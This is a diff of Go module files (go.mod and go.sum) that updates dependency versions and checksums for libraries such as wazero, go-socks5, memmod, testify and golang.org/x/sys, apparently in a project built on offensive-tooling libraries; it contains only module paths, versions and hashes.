gorm.io/gorm v1.25.1/go.mod h1:L4uxeKpfBml98NYqVqwAdmV1a2nBtAec/cf3fpucW/k=
|
||||
gorm.io/gorm v1.25.5 h1:zR9lOiiYf09VNh5Q1gphfyia1JpiClIWG9hQaxB/mls=
|
||||
gorm.io/gorm v1.25.5/go.mod h1:hbnx/Oo0ChWMn1BIhpy1oYozzpM15i4YPuHDmfYtwg8=
|
||||
gvisor.dev/gvisor v0.0.0-20231116203655-c480f66679e6 h1:QYF5D47yyyibiD9otaga9OZu9JK/epGfDfJckWn3TAI=
|
||||
gvisor.dev/gvisor v0.0.0-20231116203655-c480f66679e6/go.mod h1:10sU+Uh5KKNv1+2x2A0Gvzt8FjD3ASIhorV3YsauXhk=
|
||||
gorm.io/driver/mysql v1.5.6 h1:Ld4mkIickM+EliaQZQx3uOJDJHtrd70MxAUqWqlx3Y8=
|
||||
gorm.io/driver/mysql v1.5.6/go.mod h1:sEtPWMiqiN1N1cMXoXmBbd8C6/l+TESwriotuRRpkDM=
|
||||
gorm.io/driver/postgres v1.5.7 h1:8ptbNJTDbEmhdr62uReG5BGkdQyeasu/FZHxI0IMGnM=
|
||||
gorm.io/driver/postgres v1.5.7/go.mod h1:3e019WlBaYI5o5LIdNV+LyxCMNtLOQETBXL2h4chKpA=
|
||||
gorm.io/driver/sqlite v1.5.5 h1:7MDMtUZhV065SilG62E0MquljeArQZNfJnjd9i9gx3E=
|
||||
gorm.io/driver/sqlite v1.5.5/go.mod h1:6NgQ7sQWAIFsPrJJl1lSNSu2TABh0ZZ/zm5fosATavE=
|
||||
gorm.io/gorm v1.25.7/go.mod h1:hbnx/Oo0ChWMn1BIhpy1oYozzpM15i4YPuHDmfYtwg8=
|
||||
gorm.io/gorm v1.25.10 h1:dQpO+33KalOA+aFYGlK+EfxcI5MbO7EP2yYygwh9h+s=
|
||||
gorm.io/gorm v1.25.10/go.mod h1:hbnx/Oo0ChWMn1BIhpy1oYozzpM15i4YPuHDmfYtwg8=
|
||||
gvisor.dev/gvisor v0.0.0-20240306221502-ee1e1f6070e3 h1:/8/t5pz/mgdRXhYOIeqqYhFAQLE4DDGegc0Y4ZjyFJM=
|
||||
gvisor.dev/gvisor v0.0.0-20240306221502-ee1e1f6070e3/go.mod h1:NQHVAzMwvZ+Qe3ElSiHmq9RUm1MdNHpUZ52fiEqvn+0=
|
||||
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
honnef.co/go/tools v0.4.6 h1:oFEHCKeID7to/3autwsWfnuv69j3NsfcXbvJKuIcep8=
|
||||
honnef.co/go/tools v0.4.6/go.mod h1:+rnGS1THNh8zMwnd2oVOTL9QF6vmfyG6ZXBULae2uc0=
|
||||
howett.net/plist v1.0.0 h1:7CrbWYbPPO/PyNy38b2EB/+gYbjCe2DXBxgtOOZbSQM=
|
||||
howett.net/plist v1.0.0/go.mod h1:lqaXoTrLY4hg8tnEzNru53gicrbv7rrk+2xJA/7hw9g=
|
||||
inet.af/peercred v0.0.0-20210906144145-0893ea02156a h1:qdkS8Q5/i10xU2ArJMKYhVa1DORzBfYS/qA2UK2jheg=
|
||||
inet.af/peercred v0.0.0-20210906144145-0893ea02156a/go.mod h1:FjawnflS/udxX+SvpsMgZfdqx2aykOlkISeAsADi5IU=
|
||||
inet.af/wf v0.0.0-20221017222439-36129f591884 h1:zg9snq3Cpy50lWuVqDYM7AIRVTtU50y5WXETMFohW/Q=
|
||||
inet.af/wf v0.0.0-20221017222439-36129f591884/go.mod h1:bSAQ38BYbY68uwpasXOTZo22dKGy9SNvI6PZFeKomZE=
|
||||
lukechampine.com/uint128 v1.2.0 h1:mBi/5l91vocEN8otkC5bDLhi2KdCticRiwbdB0O+rjI=
|
||||
lukechampine.com/uint128 v1.2.0/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk=
|
||||
modernc.org/cc/v3 v3.40.0 h1:P3g79IUS/93SYhtoeaHW+kRCIrYaxJ27MFPv+7kaTOw=
|
||||
modernc.org/cc/v3 v3.40.0/go.mod h1:/bTg4dnWkSXowUO6ssQKnOV0yMVxDYNIsIrzqTFDGH0=
|
||||
modernc.org/ccgo/v3 v3.16.13 h1:Mkgdzl46i5F/CNR/Kj80Ri59hC8TKAhZrYSaqvkwzUw=
|
||||
modernc.org/ccgo/v3 v3.16.13/go.mod h1:2Quk+5YgpImhPjv2Qsob1DnZ/4som1lJTodubIcoUkY=
|
||||
modernc.org/ccorpus v1.11.6 h1:J16RXiiqiCgua6+ZvQot4yUuUy8zxgqbqEEUuGPlISk=
|
||||
modernc.org/ccorpus v1.11.6/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ=
|
||||
modernc.org/httpfs v1.0.6 h1:AAgIpFZRXuYnkjftxTAZwMIiwEqAfk8aVB2/oA6nAeM=
|
||||
modernc.org/httpfs v1.0.6/go.mod h1:7dosgurJGp0sPaRanU53W4xZYKh14wfzX420oZADeHM=
|
||||
modernc.org/libc v1.29.0 h1:tTFRFq69YKCF2QyGNuRUQxKBm1uZZLubf6Cjh/pVHXs=
|
||||
modernc.org/libc v1.29.0/go.mod h1:DaG/4Q3LRRdqpiLyP0C2m1B8ZMGkQ+cCgOIjEtQlYhQ=
|
||||
modernc.org/cc/v4 v4.20.0 h1:45Or8mQfbUqJOG9WaxvlFYOAQO0lQ5RvqBcFCXngjxk=
|
||||
modernc.org/cc/v4 v4.20.0/go.mod h1:HM7VJTZbUCR3rV8EYBi9wxnJ0ZBRiGE5OeGXNA0IsLQ=
|
||||
modernc.org/ccgo/v4 v4.16.0 h1:ofwORa6vx2FMm0916/CkZjpFPSR70VwTjUCe2Eg5BnA=
|
||||
modernc.org/ccgo/v4 v4.16.0/go.mod h1:dkNyWIjFrVIZ68DTo36vHK+6/ShBn4ysU61So6PIqCI=
|
||||
modernc.org/fileutil v1.3.0 h1:gQ5SIzK3H9kdfai/5x41oQiKValumqNTDXMvKo62HvE=
|
||||
modernc.org/fileutil v1.3.0/go.mod h1:XatxS8fZi3pS8/hKG2GH/ArUogfxjpEKs3Ku3aK4JyQ=
|
||||
modernc.org/gc/v2 v2.4.1 h1:9cNzOqPyMJBvrUipmynX0ZohMhcxPtMccYgGOJdOiBw=
|
||||
modernc.org/gc/v2 v2.4.1/go.mod h1:wzN5dK1AzVGoH6XOzc3YZ+ey/jPgYHLuVckd62P0GYU=
|
||||
modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 h1:5D53IMaUuA5InSeMu9eJtlQXS2NxAhyWQvkKEgXZhHI=
|
||||
modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6/go.mod h1:Qz0X07sNOR1jWYCrJMEnbW/X55x206Q7Vt4mz6/wHp4=
|
||||
modernc.org/libc v1.49.3 h1:j2MRCRdwJI2ls/sGbeSk0t2bypOG/uvPZUsGQFDulqg=
|
||||
modernc.org/libc v1.49.3/go.mod h1:yMZuGkn7pXbKfoT/M35gFJOAEdSKdxL0q64sF7KqCDo=
|
||||
modernc.org/mathutil v1.6.0 h1:fRe9+AmYlaej+64JsEEhoWuAYBkOtQiMEU7n/XgfYi4=
|
||||
modernc.org/mathutil v1.6.0/go.mod h1:Ui5Q9q1TR2gFm0AQRqQUaBWFLAhQpCwNcuhBOSedWPo=
|
||||
modernc.org/memory v1.7.2 h1:Klh90S215mmH8c9gO98QxQFsY+W451E8AnzjoE2ee1E=
|
||||
modernc.org/memory v1.7.2/go.mod h1:NO4NVCQy0N7ln+T9ngWqOQfi7ley4vpwvARR+Hjw95E=
|
||||
modernc.org/memory v1.8.0 h1:IqGTL6eFMaDZZhEWwcREgeMXYwmW83LYW8cROZYkg+E=
|
||||
modernc.org/memory v1.8.0/go.mod h1:XPZ936zp5OMKGWPqbD3JShgd/ZoQ7899TUuQqxY+peU=
|
||||
modernc.org/opt v0.1.3 h1:3XOZf2yznlhC+ibLltsDGzABUGVx8J6pnFMS3E4dcq4=
|
||||
modernc.org/opt v0.1.3/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0=
|
||||
modernc.org/sqlite v1.27.0 h1:MpKAHoyYB7xqcwnUwkuD+npwEa0fojF0B5QRbN+auJ8=
|
||||
modernc.org/sqlite v1.27.0/go.mod h1:Qxpazz0zH8Z1xCFyi5GSL3FzbtZ3fvbjmywNogldEW0=
|
||||
modernc.org/strutil v1.1.3 h1:fNMm+oJklMGYfU9Ylcywl0CO5O6nTfaowNsh2wpPjzY=
|
||||
modernc.org/strutil v1.1.3/go.mod h1:MEHNA7PdEnEwLvspRMtWTNnp2nnyvMfkimT1NKNAGbw=
|
||||
modernc.org/tcl v1.15.2 h1:C4ybAYCGJw968e+Me18oW55kD/FexcHbqH2xak1ROSY=
|
||||
modernc.org/tcl v1.15.2/go.mod h1:3+k/ZaEbKrC8ePv8zJWPtBSW0V7Gg9g8rkmhI1Kfs3c=
|
||||
modernc.org/token v1.0.1 h1:A3qvTqOwexpfZZeyI0FeGPDlSWX5pjZu9hF4lU+EKWg=
|
||||
modernc.org/token v1.0.1/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
|
||||
modernc.org/z v1.7.3 h1:zDJf6iHjrnB+WRD88stbXokugjyc0/pB91ri1gO6LZY=
|
||||
modernc.org/z v1.7.3/go.mod h1:Ipv4tsdxZRbQyLq9Q1M6gdbkxYzdlrciF2Hi/lS7nWE=
|
||||
nhooyr.io/websocket v1.8.7 h1:usjR2uOr/zjjkVMy0lW+PPohFok7PCow5sDjLgX4P4g=
|
||||
nhooyr.io/websocket v1.8.7/go.mod h1:B70DZP8IakI65RVQ51MsWP/8jndNma26DVA/nFSCgW0=
|
||||
software.sslmate.com/src/go-pkcs12 v0.2.1 h1:tbT1jjaeFOF230tzOIRJ6U5S1jNqpsSyNjzDd58H3J8=
|
||||
software.sslmate.com/src/go-pkcs12 v0.2.1/go.mod h1:Qiz0EyvDRJjjxGyUQa2cCNZn/wMyzrRJ/qcDXOQazLI=
|
||||
tailscale.com v1.54.0 h1:Dri5BTKkHYpl+/t8ofY+tyvoTDbH/FpP7iB4B0cAQOY=
|
||||
tailscale.com v1.54.0/go.mod h1:MnLFoCRwzFWr3qtkSW2nZdQpK7wQRZEk1KtcEGAuZYw=
|
||||
modernc.org/sortutil v1.2.0 h1:jQiD3PfS2REGJNzNCMMaLSp/wdMNieTbKX920Cqdgqc=
|
||||
modernc.org/sortutil v1.2.0/go.mod h1:TKU2s7kJMf1AE84OoiGppNHJwvB753OYfNl2WRb++Ss=
|
||||
modernc.org/sqlite v1.29.8 h1:nGKglNx9K5v0As+zF0/Gcl1kMkmaU1XynYyq92PbsC8=
|
||||
modernc.org/sqlite v1.29.8/go.mod h1:lQPm27iqa4UNZpmr4Aor0MH0HkCLbt1huYDfWylLZFk=
|
||||
modernc.org/strutil v1.2.0 h1:agBi9dp1I+eOnxXeiZawM8F4LawKv4NzGWSaLfyeNZA=
|
||||
modernc.org/strutil v1.2.0/go.mod h1:/mdcBmfOibveCTBxUl5B5l6W+TTH1FXPLHZE6bTosX0=
|
||||
modernc.org/token v1.1.0 h1:Xl7Ap9dKaEs5kLoOQeQmPWevfnk/DM5qcLcYlA8ys6Y=
|
||||
modernc.org/token v1.1.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
|
||||
mvdan.cc/sh/v3 v3.7.0 h1:lSTjdP/1xsddtaKfGg7Myu7DnlHItd3/M2tomOcNNBg=
|
||||
mvdan.cc/sh/v3 v3.7.0/go.mod h1:K2gwkaesF/D7av7Kxl0HbF5kGOd2ArupNTX3X44+8l8=
|
||||
nhooyr.io/websocket v1.8.10 h1:mv4p+MnGrLDcPlBoWsvPP7XCzTYMXP9F9eIGoKbgx7Q=
|
||||
nhooyr.io/websocket v1.8.10/go.mod h1:rN9OFWIUwuxg4fR5tELlYC04bXYowCP9GX47ivo2l+c=
|
||||
software.sslmate.com/src/go-pkcs12 v0.4.0 h1:H2g08FrTvSFKUj+D309j1DPfk5APnIdAQAB8aEykJ5k=
|
||||
software.sslmate.com/src/go-pkcs12 v0.4.0/go.mod h1:Qiz0EyvDRJjjxGyUQa2cCNZn/wMyzrRJ/qcDXOQazLI=
|
||||
tailscale.com v1.64.2 h1:0VNwUsjK6CwgkqyaOANndBER2SMYl8JZ5uNRTvIqCnY=
|
||||
tailscale.com v1.64.2/go.mod h1:6kGByHNxnFfK1i4gVpdtvpdS1HicHohWXnsfwmXy64I=
|
||||
+10
-10
@@ -6,22 +6,22 @@ toolchain go1.21.4
|
||||
|
||||
require (
|
||||
filippo.io/age v1.1.1
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0
|
||||
github.com/Ne0nd0g/go-clr v1.0.3
|
||||
github.com/gofrs/uuid v4.0.0+incompatible
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
github.com/miekg/dns v1.1.50
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
|
||||
github.com/stretchr/testify v1.7.0
|
||||
github.com/tetratelabs/wazero v1.2.0
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e
|
||||
github.com/stretchr/testify v1.8.4
|
||||
github.com/tetratelabs/wazero v1.7.1
|
||||
github.com/things-go/go-socks5 v0.0.4
|
||||
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
|
||||
golang.org/x/crypto v0.13.0
|
||||
golang.org/x/net v0.15.0
|
||||
golang.org/x/sys v0.14.0
|
||||
golang.zx2c4.com/wireguard v0.0.0-20231022001213-2e0774f246fb
|
||||
google.golang.org/protobuf v1.31.0
|
||||
golang.org/x/sys v0.19.0
|
||||
golang.zx2c4.com/wireguard v0.0.0-20231211153847-12269c276173
|
||||
google.golang.org/protobuf v1.32.0
|
||||
gvisor.dev/gvisor v0.0.0-20230927004350-cbd86285d259
|
||||
)
|
||||
|
||||
@@ -38,9 +38,9 @@ require (
|
||||
github.com/jcmturner/gofork v1.0.0 // indirect
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/pmezard/go-difflib v1.0.0 // indirect
|
||||
golang.org/x/mod v0.13.0 // indirect
|
||||
golang.org/x/mod v0.14.0 // indirect
|
||||
golang.org/x/text v0.14.0 // indirect
|
||||
golang.org/x/time v0.3.0 // indirect
|
||||
golang.org/x/time v0.5.0 // indirect
|
||||
golang.org/x/tools v0.13.0 // indirect
|
||||
golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 // indirect
|
||||
gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
|
||||
|
||||
+20
-24
@@ -2,8 +2,8 @@ filippo.io/age v1.1.1 h1:pIpO7l151hCnQ4BdyBujnGP2YlUo0uj6sAVNHGBvXHg=
|
||||
filippo.io/age v1.1.1/go.mod h1:l03SrzDUrBkdBx8+IILdnn2KZysqQdbEBUQ4p3sqEQE=
|
||||
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2 h1:8kQNJC9AxAaNs0JkXnWUfbNeDnIO1QLYYWjYqC6JEE4=
|
||||
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313 h1:hX9boCRvCxIpsiV4q9ts+WOYNnjHiji2FOR5BsDzxiY=
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313/go.mod h1:J3XDRlam5pPYca3i6EqgQ35GCCEoyxafpCbLkta0ozc=
|
||||
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0 h1:1sdnMvqxxlMXsu8ku/Xrh6gi3V40ykksst5fd0lfWnc=
|
||||
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0/go.mod h1:J3XDRlam5pPYca3i6EqgQ35GCCEoyxafpCbLkta0ozc=
|
||||
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc h1:7D+Bh06CRPCJO3gr2F7h1sriovOZ8BMhca2Rg85c2nk=
|
||||
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
|
||||
github.com/Microsoft/go-winio v0.6.0 h1:slsWYD/zyx7lCXoZVlvQrj0hPTM1HI4+v1sIda2yDvg=
|
||||
@@ -21,10 +21,8 @@ github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 h1:Y5Q2mEwfzjMt5+3u7
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo=
|
||||
github.com/gofrs/uuid v4.0.0+incompatible h1:1SD/1F5pU8p29ybwgQSwpQk+mwdRrXCYuPhW6m+TnJw=
|
||||
github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
|
||||
github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
|
||||
github.com/google/btree v1.1.2 h1:xf4v41cLI2Z6FxbKm+8Bu+m8ifhj15JuZ9sa0jZCMUU=
|
||||
github.com/google/btree v1.1.2/go.mod h1:qOPhT0dTNdNzV6Z/lhRX0YXUafgPLFUh+gZMl761Gm4=
|
||||
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38=
|
||||
github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
|
||||
github.com/hashicorp/go-uuid v1.0.2 h1:cfejS+Tpcp13yd5nYHWDI6qVCny6wyX2Mt5SGur2IGE=
|
||||
@@ -39,8 +37,8 @@ github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
|
||||
github.com/miekg/dns v1.1.50 h1:DQUfb9uc6smULcREF09Uc+/Gd46YWqJd5DbpPE9xkcA=
|
||||
github.com/miekg/dns v1.1.50/go.mod h1:e3IlAVfNqAllflbibAZEWOXOQ+Ynzk/dDozDxY7XnME=
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 h1:m3yCfV8Vqp4MF1B+gPPjbjINdufl0UXqyYplE0aGhx8=
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945/go.mod h1:1grVt4HaTofvhFUZYtofeRbGXfczNwCie9MYoM4lP/o=
|
||||
github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e h1:IkFCPlAa0iTiLxck+NqAwBx8JDlnHYm4orOQBbs4BDQ=
|
||||
github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e/go.mod h1:eYeI6cQ5YHhHt9i0BBW0zc1DaQnb4ZMXsSPuEV/V5Og=
|
||||
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
@@ -48,12 +46,13 @@ github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
|
||||
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY=
|
||||
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/tetratelabs/wazero v1.2.0 h1:I/8LMf4YkCZ3r2XaL9whhA0VMyAvF6QE+O7rco0DCeQ=
|
||||
github.com/tetratelabs/wazero v1.2.0/go.mod h1:wYx2gNRg8/WihJfSDxA1TIL8H+GkfLYm+bIfbblu9VQ=
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43 h1:+sN63SJGqchSsVyNoeW4GyA0Y+g0LvKOHcaeqs1Rf6M=
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43/go.mod h1:dhnDTBbIg31cbJdROP4/Zz6Iw7JPEpiMvOl2LdHSSjE=
|
||||
github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk=
|
||||
github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
|
||||
github.com/tetratelabs/wazero v1.7.1 h1:QtSfd6KLc41DIMpDYlJdoMc6k7QTN246DM2+n2Y/Dx8=
|
||||
github.com/tetratelabs/wazero v1.7.1/go.mod h1:ytl6Zuh20R/eROuyDaGPkp82O9C/DJfXAwJfQ3X6/7Y=
|
||||
github.com/things-go/go-socks5 v0.0.4 h1:jMQjIc+qhD4z9cITOMnBiwo9dDmpGuXmBlkRFrl/qD0=
|
||||
github.com/things-go/go-socks5 v0.0.4/go.mod h1:sh4K6WHrmHZpjxLTCHyYtXYH8OUuD+yZun41NomR1IQ=
|
||||
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e h1:6SWomM8ezwUwnN3lqKxE4r7bYVwpY9514DQkwBV9IPI=
|
||||
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e/go.mod h1:r1bHcNa22x8rrg/Kj/cDF5bX6UtZrHiQgRFvj3Mnpl8=
|
||||
github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=
|
||||
@@ -63,12 +62,11 @@ golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPh
|
||||
golang.org/x/crypto v0.13.0 h1:mvySKfSWJ+UKUii46M40LOvyWfN0s2U+46/jDd0e6Ck=
|
||||
golang.org/x/crypto v0.13.0/go.mod h1:y6Z2r+Rw4iayiXXAIxJIDAJ1zMW4yaTpebo8fPOliYc=
|
||||
golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/mod v0.13.0 h1:I/DsJXRlw/8l/0c24sM9yb0T4z9liZTduXvdAWYiysY=
|
||||
golang.org/x/mod v0.13.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
|
||||
golang.org/x/mod v0.14.0 h1:dGoOF9QVLYng8IHTm7BAyWqCqSheQ5pYWGhzW00YJr0=
|
||||
golang.org/x/mod v0.14.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
|
||||
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
|
||||
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM=
|
||||
golang.org/x/net v0.0.0-20210614182718-04defd469f4e/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20210726213435-c6fcb2dbf985/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.15.0 h1:ugBLEUaxABaB5AJqW9enI0ACdci2RUd4eP51NTBvuJ8=
|
||||
golang.org/x/net v0.15.0/go.mod h1:idbUs1IY1+zTqbi8yxTbhexhEEk5ur9LInksu6HrEpk=
|
||||
@@ -88,8 +86,8 @@ golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.14.0 h1:Vz7Qs629MkJkGyHxUlRHizWJRG2j8fbQKjELVSNhy7Q=
|
||||
golang.org/x/sys v0.14.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/sys v0.19.0 h1:q5f1RH2jigJ1MoAWp2KTp3gm5zAGFUTarQZ5U386+4o=
|
||||
golang.org/x/sys v0.19.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/term v0.12.0 h1:/ZfYdc3zq+q02Rv9vGqTeSItdzZTSNDmfTi0mBAuidU=
|
||||
golang.org/x/term v0.12.0/go.mod h1:owVbMEjm3cBLCHdkQu9b1opXd4ETQWc3BhuQGKgXgvU=
|
||||
@@ -99,8 +97,8 @@ golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
|
||||
golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ=
|
||||
golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
|
||||
golang.org/x/time v0.3.0 h1:rg5rLMjNzMS1RkNLzCG38eapWhnYLFYXDXj2gOlr8j4=
|
||||
golang.org/x/time v0.3.0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/time v0.5.0 h1:o7cqy6amK/52YcAKIPlM3a+Fpj35zvRj2TP+e1xFSfk=
|
||||
golang.org/x/time v0.5.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM=
|
||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||
golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
|
||||
@@ -108,15 +106,13 @@ golang.org/x/tools v0.13.0 h1:Iey4qkscZuv0VvIt8E0neZjtPVQFSc870HQ448QgEmQ=
|
||||
golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58=
|
||||
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
